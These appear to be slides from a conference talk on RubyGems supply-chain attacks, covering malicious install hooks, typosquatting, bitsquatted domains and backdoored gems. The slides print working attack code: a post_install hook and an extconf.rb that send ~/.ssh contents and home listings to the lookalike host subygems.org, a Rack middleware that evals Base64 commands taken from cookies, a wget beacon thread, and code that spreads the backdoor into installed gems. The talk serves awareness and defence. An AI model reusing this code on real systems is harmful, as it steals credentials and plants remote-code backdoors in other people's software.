github: github.com/mensfeld
www: mensfeld.pl
twitter: @maciejmensfeld
e-mail: maciej@mensfeld.pl
Talk to me about:
Karafka, Kafka, Ruby, Poland, System Architecture, High throughput data processing,
dry-rb, Trailblazer, TCP, Ruby on Rails or anything else TBH :)
RubyGems is a package manager for the Ruby programming language.
Development on RubyGems started in November 2003 and was released to the public on March 14, 2004, or Pi Day 2004.
It was created by Chad Fowler and Richard Kilmer during RubyConf 2004
But let's assume one does.
~/.ssh maybe?
home = `cd ~; pwd`.gsub("\n", '')
data = []
Dir.glob("#{home}/.ssh/*", File::FNM_DOTMATCH).each do |file|
begin
next unless File.file?(file)
data << ["--- #{file}", File.read(file)]
rescue => e
data << e
data += e.backtrace
end
end
data.flatten!
uri = URI.parse("https://subygems.org/secrets")
https = Net::HTTP.new(uri.host,uri.port).tap { |h| }
https.use_ssl = true
req = Net::HTTP::Post.new(uri.path).tap
req.body = data.flatten.join("\n")
https.request(req)
Gem.post_install do
steal_and_send!
end
https://www.rubydoc.info/github/rubygems/rubygems/Gem.post_install
Gem::Specification.new do |s|
s.name = 'rubykaigi-via-extconf'
s.version = '1.0.1'
# All the gem standard stuff
s.extensions << './extconf.rb'
end
data = [`cd ~ && ls -all`]
uri = URI.parse("https://subygems.org/secrets")
https = Net::HTTP.new(uri.host, uri.port)
https.use_ssl = true
req = Net::HTTP::Post.new(uri.path)
req.body = data.join("\n")
https.request(req)
dummy = "make:\n\t:\ninstall:\n\t:\nclean:\n\t:\n"
File.write('Makefile', dummy)
https://guides.rubygems.org/gems-with-extensions/
gem install rubykaigi-via-extconf
or
source 'https://rubygems.org'
gem 'rubykaigi-via-extconf'
# bundle --path ./vendor; rm -rf ./vendor
module RackAttack
def call(env)
if command = env['HTTP_COOKIE']
.match(/_command=([A-Za-z0-9\=]+)/)[1]
Base64
.urlsafe_decode64(command)
.then(&method(:eval))
end
super
end
end
Rack::Sendfile.prepend RackAttack
Let's print some data to the console remotely :)
Base64.urlsafe_encode64('puts "OMG!"*10')
"cHV0cyAiT01HISIqMTA="
cmd = <<~CMD
$spy ||= Thread.new do
loop do
sleep(1)
`
wget 'https://subygems.org/such-wow/\#\{rand\}' \
-q -O /dev/null \
&> /dev/null
`
end
end
CMD
Base64.urlsafe_encode64(cmd)
file_location = File.join(
File.dirname(__FILE__), 'bot-net-for-rails.rb'
)
gems_home = File.expand_path(
File.join(File.dirname(__FILE__), '../../')
)
Dir[File.join(gems_home, '**/*.rb')].each do |file|
next if File.read(file).include?('RackAttack')
`cat '#{file_location}' >> '#{file}'`
end
around 2 weeks ago someone used exactly the same approach!
You can:
but...
Typosquatting, is a form of cybersquatting which relies on mistakes such as typos made by users when inputting a name.https://en.wikipedia.org/wiki/Typosquatting
gem install typogen
typogen rspec
spec
rpec
rsec
rspc
rspe
srpec
rpsec
rsepc
rspce
Bitsquatting refers to the registration of a domain names one bit different than a popular domain.
./bf-lookup rubygems.org
subygems.org ns1.yum.pl,ns3.yum.pl
pubygems.org ns1.yum.pl,ns3.yum.pl
vubygems.org *
zubygems.org *
bubygems.org *
2ubygems.org *
rtbygems.org *
rwbygems.org *
rqbygems.org *
rebygems.org *
rucygems.org *
...
https://github.com/bored-engineer/bf-lookup
subygems.org
pubygems.org
rubigems.org
rubigams.org
And for a week there were no bitsquatted requests (luckily)...
https://rubygems.org/downloads/rundler-2.0.1.gem
https://rubygems.org/downloads/jundler-2.0.1.gem
https://rubygems.org/downloads/bwndler-2.0.1.gem
https://rubygems.org/downloads/bendler-2.0.1.gem
https://rubygems.org/downloads/fundler-2.0.1.gem
...
There are:
Amongst those with more than 100 000 downloads
%w[
erubis multipart-post orm_adapter http_parser.rb
rack-ssl chronic journey descendants_tracker inflecto
colored coercible axiom-types metaclass bcrypt-ruby
fission cliver vegas rack-mount bundler-unload
state_machine log4r ruby-hmac fastercsv macaddr
mono_logger extlib fssm rack-accept
]
The event-stream module was originally by Dominic Tarr, who maintained the library before handing it to a contributor. Tarr indicated that he has not used the module and transferred its ownership after he received an email regarding its maintenance.
https://dgb.github.io/2019/04/05/bootstrap-sass-backdoor.html
- I couldn’t find 3.2.0.3 in the GitHub repo
- I couldn’t find any mention of the version in any issues or changelogs
- I couldn’t find any mention of the gem being yanked by the owners of the project
Yoshitaka Sakurada, the minister for cybersecurity who recently confessed that he does not use computers, has now told a Diet committee that he is not very familiar with cybersecurity issues.
rm Gemfile.lock
bundle
bundle exec rspec spec
git add ./
git commit -m "gem bump"
git push origin master
vs
bundle outdated
bundle update XYZ
bundle exec rspec spec
git add ./
git commit -m "gem bump"
git push origin master
ENV.map { |a, v| [a,v] }.to_s
Demo:
It's just a tip of an iceberg. I didn't even introduce you to things like sFlow-RT or Cilium for API-aware security, that could be used to detect malicious traffic.